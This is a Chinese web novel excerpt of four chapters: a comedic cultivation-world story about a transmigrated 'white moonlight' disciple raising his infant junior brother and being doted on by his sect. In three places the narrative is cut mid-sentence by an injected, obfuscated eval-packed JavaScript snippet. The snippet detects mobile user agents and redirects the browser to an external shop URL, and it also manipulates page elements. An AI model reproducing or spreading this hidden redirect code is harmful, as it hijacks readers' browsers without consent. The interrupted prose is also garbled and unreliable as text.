《不那么古早但也有点古早的短篇合集》 1. 第 1 章 红枫在溪隐峰的湖面上捡到了自己的第一个师弟。 这时候的师弟还是一个婴儿,与任务书中所描述的简单几句话不同,红枫要把师弟养到八岁这件事受到了极大的阻碍,其中最难的一点就是,师弟在哭,不停地哭,白天哭晚上哭,他想哭就哭,哭得很大声,大声到隔壁租客半夜来敲红枫的门。 然而红枫现在还没有筑基,炼气都还没炼到几层,修为完全不能打。 这具身体岁数不到二十,寿数也不到二十,他在八岁时拜入紫曦道人门下,到如今也只修炼了四年。 他全身上下,现在唯一能打的一点,就是他的脸。 这张被碧落宗所有同辈视作心上白月光的脸,足以以貌服人,让隔壁租客败退在他的美貌之下,却不足以让小儿止啼。 红枫快要被自家师弟哭崩溃了。 他还没有筑基,他也还需要睡觉,然而这样没日没夜的日子他可能还要过上整整三年,如果师弟特别笨他还要过上整整八年。 可是,他还是只能自己扛着。 师父现在处于闭关状态,红枫则是处于一个绝对不能回宗门的状态里。 如果他回了宗门,就会有一群师姐师妹师兄师弟甚至师伯师叔师祖围着他对他好。 只是对他好也还好,按照命轨,师门中还有人会为他入魔,入魔的人在八年后就会成为这个位面里最大的反派,现在红枫要是回宗门,大概会比师弟和师父先拥有道侣。 毕竟他现在的身份是白月光,马上就要去死的白月光是这样有牌面的。 红枫颠了颠手里的小家伙,想到师弟现在只有这么小一团,以后居然会成为一个修真位面的最强者,还要囚禁别人搞什么怪七八糟的,就觉得很不可思议。 总觉得他可能养不出来这么变态又厉害的人物。 小家伙被他这么胡乱一颠,哭得更大声了,红枫赶在隔壁的隔壁租客上门之前把他哄到睡着,想到再这样下去不知道会有多少隔壁租客上门,他决定花点灵珠去买个房子。 虽然他手上也只这么有一点点灵珠。 师父把他的零花管得很死,修炼用的丹药法宝都是让他直接找自己或者师祖拿,就怕他手上灵珠灵石多了以后会坏了性情,连他的衣物都是极为简朴的样式,说是被褐而怀玉。 他比习武的凡人还要弱,衣裳看着也是廉价至极,长相还好看到了能够让人入魔的程度,居然在修真界里生活了八年才会遇上强抢民男的人,红枫感觉不太对劲,虽然命轨是这么显示的,但按照常理推算,红枫总觉得命轨里的师兄活得也太幸运了。 红枫认为自己还是应该小心谨慎一点,先买个房子,最好是在乡间修一个小竹屋,再做个背篓,以后天天背着孩子下田种地,广积粮,高筑墙,实现自给自足的生活,尽早达成米汤自由。 他只能给师弟喂米汤,修真界没有奶粉,他也不会产奶,没钱也请不起奶娘,不过问题不大,师弟未来可是要成为主角攻的,小时候没有奶喝这种事,一定只会让他更有男子气概。 “宿主,要不你还是换点?” “不换。” “好的吧。” 111号系统十分为难地把已经换好了的奶粉退了回去,它有点不明白宿主这次怎么这么抠门,从前那些孩子也都不是他亲生的,他每次都给那些孩子买最好的东西,这次任务居然到现在还一点积分都没有花。 毕竟红枫是资深男二,帮许多带球跑的女主带过孩子,111一直以为他特别有父爱。 红枫的想法111能感知到,111的想法红枫自然也能感知到,他就给111解释:“你不懂,我对那些孩子好其实是对他们的妈妈好,这孩子没有妈妈,我既不图他什么又不欠他什么,我和他之间最多也就只会有纯洁的父子情,纯洁的父子情是不可以用积分去玷污的。” “可是,宿主,你从前说,我们之间的关系也是纯洁的父子情。” 111感觉他们之间的感情被玷污了。 红枫理直气壮:“我们之间可没有灰色积分交易,没有人能比我们之间的感情更纯洁。” “真的吗?” “我跟你说过假话?” 那确实没有。 111老老实实地结算了退货积分。 一个月以后,红枫就给师弟找了个奶娘。 他买了一个村口的房子,种了田,没种多久,就有人往他的田里扔水果,他本来想强烈谴责对方的不道德行为,但是一方面这些人跑得太快他追不上,另一方面,水果在凡人的地方他记得好像挺值钱的,能换不少银子。 平静的种田生活就这么被源源不断的水果打破了,每天都有人给他扔水果,红枫靠着做水果生意成为了一名富商,就是始终想不明白那些人为什么要给他扔水果。 111看不下去了:“宿主,你听说过古代潘安“掷果盈车”的典故吗?” 红枫心头巨震。 “掷果盈车”就是指潘安乘车出行时,仰慕他的美貌而来的女子们纷纷往他车上投掷水果,让水果装满了车驾,这样一个故事。 “掷果盈车”他知道,他还知道和“掷果盈车”常常一同提起的“看杀卫玠”。 说有一个美男子,名叫卫玠,天生体弱,有一天在外行走,竟然被人一拥而上活活看死。 他现在这个修为,不也是个体弱美男子吗?都已经到了可能会被看杀这么危险的境地了,他居然毫无所觉,真是大意了! 而此时此刻,在红枫的师门,碧落宗之内,所有人其实都已经知道了红枫所在的大概位置,红枫可是掌门悉心培养的亲传弟子,是掌门认定了的接班人,他的去向要是都搜查不到,这修真界也该变天了。 之所以他们还没有去找红枫,是因为他们都被绊住了,师兄盯着师妹,师姐盯着师弟,师祖和师叔师伯争执许久,也没有确定下来究竟要选谁去找红枫。 红枫是所有人的心上白月光,是所有人眼中的唯一,他们都觉得红枫是自己的唯一,也觉得自已应该也是红枫眼中的唯一,所以每个人都认为自己比其他人更有资格先去找红枫。 谁都想最先去找红枫,所以谁都不希望其他人比自己先找到红枫,近日碧落宗内各峰修炼氛围都是极度奋发向上的,表面上所有人都在表现自己一点也没有想红枫,实际上大家都在想怎么才能钻个大空子出去找红枫玩。 碧落宗是个正道宗门,就算有个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459091|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟子快要入魔了,大家相互之间的相处氛围也还是很正派的,而红枫今年的年纪只有十二岁,还是个长相雌雄莫辨的小少年,只有少数几个人对他心存爱慕,至于不好的念头则是都没有的,大多数人就是觉得他是一个漂亮哥哥、漂亮弟弟或者可爱的小朋友,只是想多看看他的脸,多和他玩一玩。 如果红枫一直这么稳稳当当地在外面生活,也许碧落宗继续这么修炼下去就会成为古往今来的天下第一大派,可红枫在八年后是会死得很惨的,到了那一天,每个人都会为自己当初没能尽早赶去找到红枫而难过,每个人都会为同门曾经阻拦自己的行为感到极端的愤怒,人心会因此而四散,最后碧落宗终究要尽归于无。 当下的碧落宗太上长老林冶,也就是红枫的师祖,完全没想过以后的什么人心不人心,宗门里还好好的,他这几天修行不畅,干脆就蹲在山门逮人,一大清早又亲自阻拦了几十名想要出去找红枫玩的内门弟子,心情甚好,于是随手给自家小徒孙起了一卦,卦象为泽火革,外出改行开业都是大吉大利,有大变故。 “孙竹,夏常,”林冶背着手看着两个鬼鬼祟祟往山门方向过来的小弟子:“你们俩想往哪走啊?” 孙竹神色镇定:“是这样的,宗内柠檬不够了,我们想下山去采购一点柠檬。” “采购柠檬干什么?” 夏常面色肃然:“我们在炼丹的时候炼制出了一炉味道异常古怪的丹药,唯有柠檬能解其味。” “是吗?给我来一颗。” 孙竹很是犹豫,夏常眼一闭,心一横,就把丹药交了上去。 林冶颠了颠手里的药丸,一口就咽了下去。 柠檬是什么味呢?又酸又鲜,孙竹和夏常交给他的丹药味道则是又辣又腥,林冶活了这么多年,就没有吃过这么难吃的丹药,难吃到他怀疑自己可能是中了剧毒。 但这是一颗延年益寿丹,对高阶修士也能生效的延年益寿丹不多,要是能稍微调整一下口味,没准这丹药还能成为碧落宗的重要财源之一。 而且,应该不会有弟子编出这么没有逻辑的骗局来尝试下山吧,既然这件事会这么没有逻辑,那应该就真的只是凑巧做了个这样的丹药。 林冶对两名弟子点了点头:“早去早回。” “是。” 孙竹和夏常一下山就翻出了传音符。 在林冶近日的围追堵截之下,为了能够偷偷离开宗门,碧落宗内的底层弟子们终于团结在了一起,拉了传音群共同谋划,就这么一转眼的时间,群内又上传了几条新的下山失败的消息,孙竹立刻向组织上报了他们已经下山了的消息。 群内刷了几排柠檬,接着就是一套又一套新的策划书给他们安排上来,夏常已经取出了罗盘准备读取红枫的位置,传音符内热闹的声音却突然中止,空气中只留下了“早去早回”四个大字。 罗盘在夏常手里转了一圈,又转了一圈,它转得停不下来,显然已经是失灵了。 孙竹和夏常看了看罗盘,两人面面相觑,最后还是夏常先打破了沉默:“要不我们先去买柠檬?” 孙竹想了想:“也行。” “先去溪隐郡里看看吧,唉,早去早回啊。” 2. 第 2 章 红枫的水果铺子遭到了重大打击,他隔壁新开了一家水果铺子,红枫想不明白为什么这家水果铺子非要跟他开在一起,但还是抱着毕竟是新邻居的想法,去给自己的新邻居送了些自制点心吃。 万万没想到,这么一吃,就吃出了官司。 邻居说他吃了红枫做的点心以后喉咙被卡坏了,然而,红枫做的是无骨鸡爪。 为了做点无骨鸡爪,他还特意安排人去采购了大量的柠檬和百香果,混合掉他做的无骨鸡爪原本的腥辣味道,现在他采购的柠檬和百香果还囤在库房里,原本可以用来打开销路的无骨鸡爪却已经不能做了。 官府还来了人要押他去见官,红枫一脸懵逼地被押进了衙门,扭头就看见隔壁邻居捂着脸在哭,衙门外还站了好多吃瓜围观群众,知府一拍惊堂木,就要红枫赶紧跪下认罪。 红枫不想说话。 这太突然了,他还在想他的无骨鸡爪,现在的红枫没有多少修为,给鸡爪去骨非常麻烦,他是一根一根骨头慢慢剥的,剥了一天一夜才有这么几碟无骨鸡爪,结果最后就这局面。 111在他心里吐槽:“宿主,你每次烂好心都这样。” 红枫也在自己心里默默吐槽:“我本来以为从前那些事都是因为我是男二,没想到人与人之间还是一点爱都不能有。” “大胆狂徒!竟敢见官不跪!” 听到知府这么说,红枫抬眼往上看去,座上的知府年纪已经不小了,按理来说应当是比较老练知事的老官了,面对他的无礼,居然只是这么情绪化地叱骂了一句。 通常情况下,这种古风环境里,面对他这种底层百姓,应该是要先打一顿杀威棒,或者直接来个大刑伺候的。 知府又拍了一回惊堂木,两旁的衙役又重新念了一遍威武,隔壁邻居脸都哭红了,红枫还是一点表示也没有,十分不给面子。 知府和红枫互相对视许久,从里间来了个师爷,在知府身边小声说了几句,红枫的耳力还算不错,听了个大概。 师爷的意思大概就是,王爷说可以用刑。 知府闻言松了口气,当下就要让人给红枫上拶指之刑,红枫看了一眼衙役们拿上来的东西,那是六根小木棍,木棍之间有绳子连着,做了两对可以用来一左一右拉扯,要是用这个东西夹在他的五指之间来拉扯他的手指,他的手大概就要废了。 他不能再被动下去了,必须用自己最能打的技能主动进攻。 红枫转过身,衣裳随着他的身影飘摇,长袖轻摆间手已抚上帽沿,他决定撩开自己的帷帽。 “等一下!” “借过借过,打扰打扰。” 知府打着哈哈走到堂下,向从天而降的二人拱手一揖:“不知仙长到访,有失远迎啊。” “没事,我就是来买个柠檬,”孙竹推开了知府,直直朝着红枫走来:“那啥,我听说就是你囤积了一仓库的柠檬?” 红枫立刻进入状态:“是我,一斤柠檬一千文,您要多少?” 孙竹有点不好意思:“灵石付账成吗?我们下山没带多少银钱。” 夏常一把扯掉了红枫头上的帷帽,红枫看着夏常手里的帷帽尴尬地咳了一声,孙竹呆在当场,怔怔地看了红枫好一会儿,才低下头握住了他的肩膀:“枫儿,你都穷到卖柠檬了,也不知道找师姐要钱?” 红枫眉头一皱:“你没有钱,你只有灵石。” 夏常打断了他们的废话:“这不重要,你怎么回事?怎么进衙门了?” 红枫抬头看着夏常说:“不知道,知府应该清楚。” 夏常偏过头,往后一看,就看见知府已经在悄悄往外挪了,他心念一动,知府又被一阵风推了回来。 夏常的脸色黑得可怕,知府是头一回碰上修士的术法,夏常这么一出手就把他整怂了,低着头打着哆嗦一五一十地把事情交代了出来。 事情是这样的,红枫虽然已经不常出门了,但是他的美貌还是很有名气的,王爷和门客聊天的时候,门客把红枫靠美貌开了一家水果铺子这件事作为一个笑话讲给了王爷听,王爷听了这个笑话,顿时对红枫的容貌生出了十分的好奇心,当场就叫小厮去把红枫请来。 红枫那天嫌天气太热拒绝了。 王爷十分不满,觉得红枫看不起他,就让属下去做个局把红枫送进牢里,打算到时候去牢里见他。 红枫心说这王爷脾气还挺大的。 “王爷何在?” 夏常这么问了一句,孙竹没问王爷在哪,孙竹起了个卦,定下方位把王爷召唤了出来。 王爷显然也知道堂上的情况,被召唤出来以后就在地上拼命往后缩,夏常以手掐诀就要施法,红枫上前一步,按下了夏常的手,对着一旁的衙役说:“上拶指之刑。” 衙役们听见红枫的话以后没有任何反应,夏常瞪了他们一眼,他们才窜到王爷身边,很快就在他双手上架好了细小的木棒,两端绳索一拉,五指就齐齐被夹,痛得手指的主人连声惨叫。 然而红枫听不见,他不光听不见,他还被孙竹用手挡住了眼睛。 实际上,红枫本来也不想看不想听,反正这些人之前也没对他造成什么威胁,现在他心里对他们也没什么仇恨,要用拶指之刑处罚王爷也只是为了一个公道。 讨完了为公的公道,就该他自己舒服了,他只想赚点奶粉钱。 “我们回去拿柠檬吧?” 话刚说出口,他就感觉自己被抱了起来,夏常冷着脸把他抱起来就跑了,孙竹一个卦师完全追不上他,不过她本来也没想追,王爷是解决了,知府也不无辜。 官场的潜规则和仙家可讲不通。 “夏师兄。” “嗯。” “你知道我的水果铺子在哪吗?” “不知道。” “那你跑这么快干什么?” “剑修都在这个速度以上,这是考点。” “但是你快要跑出城了。” 夏常停步:“这城怎么这么小?” 红枫从他怀里跳了下去,跟他要了一份地图,夏常用手指对着地图指指点点:“你看,溪隐郡有这么大。” 溪隐郡下辖十二个县镇,地图上就把这十二个县镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459092|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连着溪隐郡涂成了同一种颜色,红枫叹了口气:“夏师兄,你今年的语文考试又没有及格吗?” 夏常神色黯然:“我真的已经很努力了。” 他都已经努力到尽量在日常生活里总是说书面化的话了,然而,他的阅读理解还是每次都比孙竹的分数低一大截。 红枫在地图上比对了一下:“我们走着过去吧,你跟我走。” “好的。” 虽然红枫的修为很低,但是他还是有修为的,他一路脚下生风,很快就带着夏常到了水果铺子里,安排好打杂的带夏常去了库房,自己一个人回家看师弟。 “宿主,你脸怎么红了?” 111有些疑惑,红枫沉默了一会儿,很是兴奋地对它说:“原来,这,就是有大腿抱的感觉吗?” 111也沉默了一会儿,才醒悟过来:“好像是哦。” 孙竹和夏常二人来衙门里给他撑场子这个行为,不就是给了红枫一个粗大腿吗? 他以往所在的组,男二组,平时执行的任务就是充当主角的大腿之一,虽然过程也还算不错,结局也都还挺好,但是,他从来没有享受到过这样的躺赢的滋味。 反正就算触发了相同的奇遇,奇遇也都是主角的,就算他有比主角更优秀更有经验的处理方式,最后所有人也都还是会更认同主角,总之就是一句话,无论他有多努力,他的运气和人气总是上不去。 而在这个位面,他的运气和人气简直好到爆棚。 “这个师兄组,感觉很有前途啊,难怪来之前那个检测员考了我那么多问题,这是个抢手职业啊。” 111不好意思和他说实话。 “我决定了,我要在这个组常驻!” “别,不要,宿主你清醒一点!” 红枫心情一好,看着自家小师弟睡觉都觉得格外顺眼,还非常有父爱地给他推了推摇篮,就把他摇醒还给他摇哭了,红枫只能退居二线,让奶娘接手,回头还得给奶娘加钱,毕竟不是哪个主家都像他这么容易手贱,也不是谁都像他师弟一样爱哭。 红枫的小师弟现在有一个月大,看着白白胖胖圆乎乎的,很是可爱,就是哭起来简直魔音贯耳,能吵到奶娘和红枫还有隔壁邻居都整夜整夜地睡不着觉,按照命轨,红枫原本应该给师弟取名为红无尘,但是他现在只想给他取名为红无啼,让他别哭了。 就在他靠着软塌听着隔壁小师弟的哭嚎怀疑人生的时候,小厮来通报了一声,说有仙长前来拜访,红枫面无表情地点了点头,等着孙竹和夏常出现在他面前,结果来的却是另外一人。 红枫扶着软塌往后缩了缩,111在他脑子里又是一阵吐槽:“宿主,师兄组要不是没人愿意进,怎么会临时特聘你来啊。” 来人正是书中所提到的,即将入魔的那位同门。 他一步一步靠近红枫,缓缓弯下腰凑近看他,修长的手指抚上了他的眉眼,只差一点,他的嘴唇就要吻上来了。 红枫表面上依然沉默着,在心中却—— “下次我们做个像他这样为所欲为的师兄不就行了吗?” 3. 第 3 章 与命轨中师弟和师父的爱情不同,师弟和师父的爱情虽然有违此世的伦理,但是他们相遇的时候实际上双方都已经是成年人了,是在可以为自己的爱情负责的年龄,而何无妄,他对红枫的感情就纯粹是一种变态的占有欲,他想要占有拥有这张脸的人,然后天天看这张脸。 差不多就是这样,他就是喜欢看好看的,看特别好看的,红枫一点都不担心何无妄会不会亲上来,他绝对不会亲上来,亲上来就会影响到红枫这张脸的整体美感,他肯定舍不得。 何无妄确实舍不得。 他既不会亲上来,也不想放开红枫,红枫抬头看他,看得脖子都酸了,只能劝了一句:“何师兄,你用神念看我也是一样,不用靠这么近。” “你管夏常都叫师兄,”何无妄挑了挑眉:“到了我就是何师兄?” 红枫拒绝进入他的柠檬味思维:“我声音好听,多给你念一个字你应该高兴。” 111:“宿主,你这样说话可能会挨打。” 红枫:“没事,我脸好看,他舍不得打我的脸。” 何无妄盯着他看了好一会儿,才轻笑着放开了他,红枫赶紧扭了扭脖子,让脖子不要再这样僵下去。 “你打算什么时候回宗门?” 红枫看都没有看他:“你不觉得很尴尬吗?” “尴尬?” “你刚才一进来就乱摸我的脸,现在还跟个痴汉一样一脸傻笑,我看见你就尴尬,你离我远一点。” “远一点?” 红枫总算是又看了他一眼:“你听不懂人话?” 111:“宿主,我感觉你真的要挨打……” 何无妄抬起手,又摸了摸他的头发:“枫儿这头发真是越长越软和,还有八年,你就该行冠礼了。” 还有八年,红枫就会满二十岁,到了二十岁,也就是男子成年的时候,就可以成亲,与道侣双修。 红枫心很大:“还早,把你的猪蹄子拿开。” 八年后他死得绝对比能够双修的那一天要早,要是出了意外没按照命轨里的剧情走,他就一把刀给自己捅死,作为一个经验丰富的执行者,捅死人这种事他也已经很熟练了,一定能顺利完成。 何无妄放了手,只看着他笑,红枫真的想不明白这个白月光buff到底有多离谱,哪有人能看着一个人笑这么久,111在他心里提醒道:“宿主,你忘了主角们吗?” 男主们看着女主干什么都要笑,温柔地笑,轻声地笑,变态,不是,充满占有欲地笑,反正就是要笑,然后女主也要笑,也要温暖地笑,放松地笑,微微地笑。 他红枫就是在旁边看着他们然后自己一个人寂寞落泪的男二,到头来只有一个男人对着他这个直男笑。 红枫心情苦涩。 他叹了口气,丧气满满地从软塌上站了起来,理都不想理何无妄,就想打开门透透风,可门推不开,红枫有点急也有点气,干脆放了手,结果门就被夏常从外面推开了。 “可以用灵石结账吗?我也没带银钱,欸,何师兄也在啊?”夏常十分友好地对何无妄打了个招呼:“好久不见啊,何师兄。” “是有很久不见了,”何无妄走到了红枫身边:“夏师弟。” 何无妄跟夏常是嫡系的师兄弟,都出自北天剑尊门下,剑尊很快就要飞升,何无妄也很快就要成为天下第一的剑修,而夏常,还没通过语文考试。 夏常对何无妄很是景仰:“何师兄,我最近在语文修习上又遇到了新的问题,你能不能再帮我参考参考?” 何无妄一时语塞。 夏常在语文上天天都有新的问题,他是真的很不喜欢语文,今天学了今天就能忘,剑法课上师父随口提一句他都能记一百年,而语文知识只要考完他立马就会把知识点扔掉,学了这么多年,基础知识点就被他扔了这么多年,最后愣是一点都没能进脑子。 关门弟子都是这么古怪,何无妄能理解,如果这不是他的师弟,他不用对师弟的学习负责,他就更能理解了。 他常常怀疑夏常和红枫的年龄是不是掉了个个,应该是红枫有一百二十岁,夏常有十二岁才对,他真的看不懂夏常的脑子是怎么长的。 “这个问题,你回去问师父吧。” 夏常做不来阅读理解,更读不懂空气:“师父闭关啦。” 何无妄明白了,师父也已经被他问烦了。 事已至此,他不得不答,何无妄正想咬咬牙答应下来,红枫突然插了一句嘴:“我也考过语文了,你要不要给我看看?” 红枫的各项文化成绩都是上等,他本身知识贮备足够,再加上这次的身份不需要隐藏自己的文化实力,他考试都是老老实实作答,基本上所有科目都是一次过,而且他从前做过老师,在教导人这一方面应该是比何无妄更有心得的。 “不行!” 何无妄和夏常异口同声地拒绝了他。 何无妄是简单地不想让红枫受苦,至于夏常,虽然他阅读理解很一般,读空气更是不会读,但是他起码还是个人,对自己一百年都没考过的学习情况其实心里还是很有数的,这种事拿来折磨大师兄还好,大师兄什么大风大浪都见过,要是拿来折磨小师弟,夏常良心不安。 “那好吧。” 红枫感觉自己仿佛被嫌弃了,人生真是大起大落,刚才他才有了那么一点点自己不再是男二的感觉,现在又成了陪衬。 他俩还走得飞快,好像很怕他追上去给夏常辅导语文一样,红枫陷入了沉思,还是觉得只有小师弟能给他带来快乐。 于是奶娘的工资增加了。 红枫回了水果铺子以后就每天查账验货,直到孙竹把事情处理完也来了水果铺子,红枫才发觉何无妄好像是想在这里长住下来。 红枫想到这里的第一个念头是难以接受,等到他暂时抛弃直男对基佬的嫌弃以后,突然又觉得这其实是个很不错的事情。 反正他现在年纪小,何无妄还不会对他动手,至于他成年以后,成年了他也差不多该去死了,而在这期间,他的安全问题基本上是不用愁了。 和孙竹一起来的还有宫里的太监,红枫想卖水果,孙竹就让皇帝写了个匾额,让太监送过来挂上,算是给他打了个广告。 孙竹和夏常也打算在这里长住下来。 他们本来就是想出来找红枫玩,现在误打误撞找到红枫了,自然不想再回去了。 红枫不是很喜欢这种每天都在当弟弟的感觉,还是把时间主要放在卖水果和做点心上面,几位师兄师姐也要修炼,他们真正在一起相处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459093|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时间其实不多,直到给红无尘办百日宴的时候,他们才又齐齐聚在了一起,红枫还请了不少在本地结交的凡人一同聚会。 觥筹交错之际,夏常突然问了一句:“说起来,何师兄是怎么下山的?” “御剑飞下山。” “没有人拦你吗?” “你们下山遇到枫儿的事宗门里所有人都知道了,我下山的时候就没管我。” 夏常觉得这事很古怪,孙竹也觉得很奇怪:“那宗门里的其他人居然都还没来吗?” 红枫没有参与他们的谈话,他感觉头顶上方的灵气波动有些异常,于是抬头看了看天。 他看到了一座山,一座浮在半空中的山,山上掉下来了许多人。 红枫感到有些不妙。 何无妄说着话也是突然一顿,他还没反应过来,就被一群人挤开,为首的林冶施施然走到红枫身前,给了他一枚新制的令牌。 是一枚碧落宗分宗宗主令。 红枫眼睛都看直了。 在孙竹和夏常给他撑腰以前,他就没有躺赢过,在今天之前,他就没有躺赢得这么彻底过。 四下突然变得安静,林冶开口与红枫说:“枫儿,既然你喜欢溪隐郡,从此以后我们碧落宗的分宗就开在这里了,等到你接替了掌门的位置,把碧落宗搬到这里也可以。” 林冶的态度很诚恳,他作出这个决定既不是简单地因为宠爱他,也不是突然想做什么计策投机,建立分宗在碧落宗的长远规划里,红枫现在的人气完全撑得起这个位置。 “恭贺宗主,愿为宗主效命!” 人群里突然爆发出了一声呐喊,在这之后,就是不断地恭贺和宣誓,这句话被这群人重复了三遍,红枫的心情很复杂,感觉这就跟开玩笑一样,躺赢躺得太彻底了,让他觉得有点虚。 但是他们叫他宗主。 红枫从前也做过宗主,或者说,在最早以前,他就是一个宗主,当年,也有许多人像现在这样,兴奋地围在他身边,恭贺他成为宗主,发下誓言,愿为他效命。 111有点担心:“宿主,你还好吗?” 红枫很久都没有回答,直到人群慢慢安静下来,林冶脸上也渐渐透出疑惑,他才恍然回神,在心里问111:“你刚才说什么?” 111感觉宿主应该是已经没有再去想那件事了,它也不想重提,就随口找了个理由搪塞过去,红枫还要安抚大家的情绪,也顾不过来,没有太在意它的话,这一顿饭最后还是吃得宾主尽欢,宴席散后,林冶就带红枫去看了上空的溪玉峰。 溪玉峰上种了许多杏树,地面上用阵法制了活水造湖,屋舍殿宇都掩映在杏林之中,风过湖面,也吹落杏花,湖水清明,花瓣沉满了湖底,也同样散落在红枫身边。 这风景他很喜欢。 “宿主……” 红枫:“又怎么了?” 111说不出话,它怀疑红枫的白月光buff开得高过头了。 红枫满头雾水地转身一看,就看见一群人在后边,都面带跟何无妄一样的傻笑在看着他,像是随时都有可能会冲过来。 “要不我们跑吧?” 111真诚地提出了自己认为最好的建议,红枫也觉得这建议不错:“我们往哪跑啊?” 4. 第 4 章 没法跑,这是修真界,碧落宗是三大正道宗门之一,至于魔界那边,要是红枫去了魔界,可能很快就会死在某知名或不知名魔尊的床上,就算红枫给自己毁容,要修复容颜对高阶修士来说也都只是一挥手的事。 红枫只能暂时放下好吃的水果和点心,专心修炼。 修炼这事他很熟,特别熟,一开始学习修炼的时候,他觉得新鲜,当年特别勤奋,后来也常常需要重复修炼,偶尔还能找到一些新东西,也算有趣,可到了现在,红枫在修真上已经很难再找到新鲜东西了,对于修炼的感受就是浪费时间又不能不做。 所以他的修炼速度虽然不算慢,但也不算快。 在他筑基的时候,红无尘也总算长到了三岁,不爱哭了,也不怎么喜欢笑,长得浓眉大眼白白胖胖,性格也是又听话又老实,憨憨的,半点不像是以后有可能会囚禁人去搞七搞八的样子。 红枫特别不想修炼的时候就会给他做好吃的,红无尘小小年纪,已经能用鼻子敏锐地辨认出什么是酱油味什么是醋味了,递调料递得十分熟练,稍微多给他做了几回饭菜,红无尘就能把他常用的佐料配方记下来。 红无尘五岁的时候自己踩着凳子给红枫做了一顿饭菜,跟红枫自己做的口味可以说是差不多一模一样,他以后会成为一个修士,也不用担心肥胖问题,倒是可以一直吃下去,而且能有个自己的兴趣爱好也很好,红枫就去找皇室请了几位御厨,带回来陪红无尘玩,以为这件事就会这么过去,没有往深处想。 他依然还是只能每天修炼八小时,在从前的经验加持下慢慢磨蹭上了金丹期,111都不敢开启外视了,红枫现在既有本身的美貌,又有白月光buff,还有进阶金丹期天道再次赋予的美颜buff,实在是太闪了。 原本还有一些同门留守在从前的碧落宗内,现在除了红枫的那位依然在闭关的师父以外,全部搬迁到了分宗里,溪玉峰离主峰就差一个改名的距离了。 而与此同时,红枫的美名,在整个天下也已经传播开来。 魔道中有人只因见了他一眼,就直接把城池拱手相让,正道里也有许多仁人志士只是见了他一面,就要对他宣誓效忠,外面人人都在传谣说红枫是个非常厉害的幻术师,最早是说他是个元婴期的幻术师,化神期的大能好奇地来拜访他,结果就被他的颜值闪服了,接着外面又传红枫是个化神期的幻术师,渡劫期的大能又来对他傻笑,然后红枫的实力就被传言拔高到了渡劫期,这次原本在闭关的一些大乘期大能都出来看热闹了,在红枫准备摘下帷帽的时候他们就预感到了不妙,最终却还是一个都没能跑掉。 111觉得很不对劲:“宿主,为什么我感觉越强的修士好像就越容易被你影响?” “你忘了一个东西,”红枫顺手理了理自己的帷帽:“道韵。” 他已经证道飞升了无数次,元神中流转的道韵浓稠得仿佛一片星云,当低阶修士看见他的时候,多是被容貌所摄,而高阶修士,则或多或少地触碰到了他身边逸散而出的道韵。 也就是说,高阶修士看他,就是美貌加上白月光buff,再加上进阶金丹期天道再次赋予的美颜buff,还要加上往生无数次连结而成的道韵的玄感buff。 111感觉这一次宿主头上顶着的buff实在是太多了。 “我算是明白为什么原主能活得那么安全了,”红枫总结了一下新获得的经验:“原来这么多人喜欢一个人都是只知道对着人家傻笑。” 111听到了爆炸声,红枫沉默了一会儿,起身离开座位,去了小师弟的房间。 红无尘深夜做饭又烧了厨房。 这小子倒不会喜欢谁就对谁傻笑,可能是小时候哭多了,现在七岁了特别喜欢笑,他对谁都要憨笑,就那种什么都没想的憨笑,他又烧了厨房,红枫黑着脸过来看他,他还是憨笑。 “算了,今天要不要跟我出门走走?” 红枫对着一个小憨憨没法生气。 红无尘很开心,他还特别开心去把何无妄也拉过来了。 何无妄这几年和红无尘倒是相处得很好。 这俩名字就差不多,原本的命轨中他们俩的矛盾在于何无妄认为红无尘想要抢走红枫在碧落宗里的位置,现在他也参与到了红无尘的成长当中,红无尘在何无妄心里也就有了他自己的位置,不会再和红枫相撞,何无妄与红无尘之间也就没有那么大的矛盾了。 红枫对何无妄一直是偏向于利用的心态,但是眼看自己就要到二十岁了,何无妄还在他身边跟着,在保护他的人身安全这方面干得特别敬业,他每次拒绝何无妄的靠近,对方也没有对他做出过什么强迫性行为,基本上也是只会对着他傻笑,红枫就感觉自己有点过分。 享受了别人带来的好处,却无法回报,等到二十岁还要突然去死给别人带来沉重打击,总觉得这很过分,不止是对何无妄,红枫对这个世界的很多人都有这样的愧疚想法。 所以他选择了去看江,湍急的江水能冲刷干净一切磨人的思绪,可他站在江上越想,越觉得不应当,从前那些位面里的人对他往往是辜负,如今这个位面里的人难得对他好了一回,他不应当辜负他们。 他眼里突然升起了一点光,红枫刚想问,就听到一旁有一道稚嫩的童音替他问了出来:“那是什么啊?” 红无尘指着那处光点问红枫,一旁的何无妄目力极强,远远地看见了江中的景象:“有人在江上放河灯。” 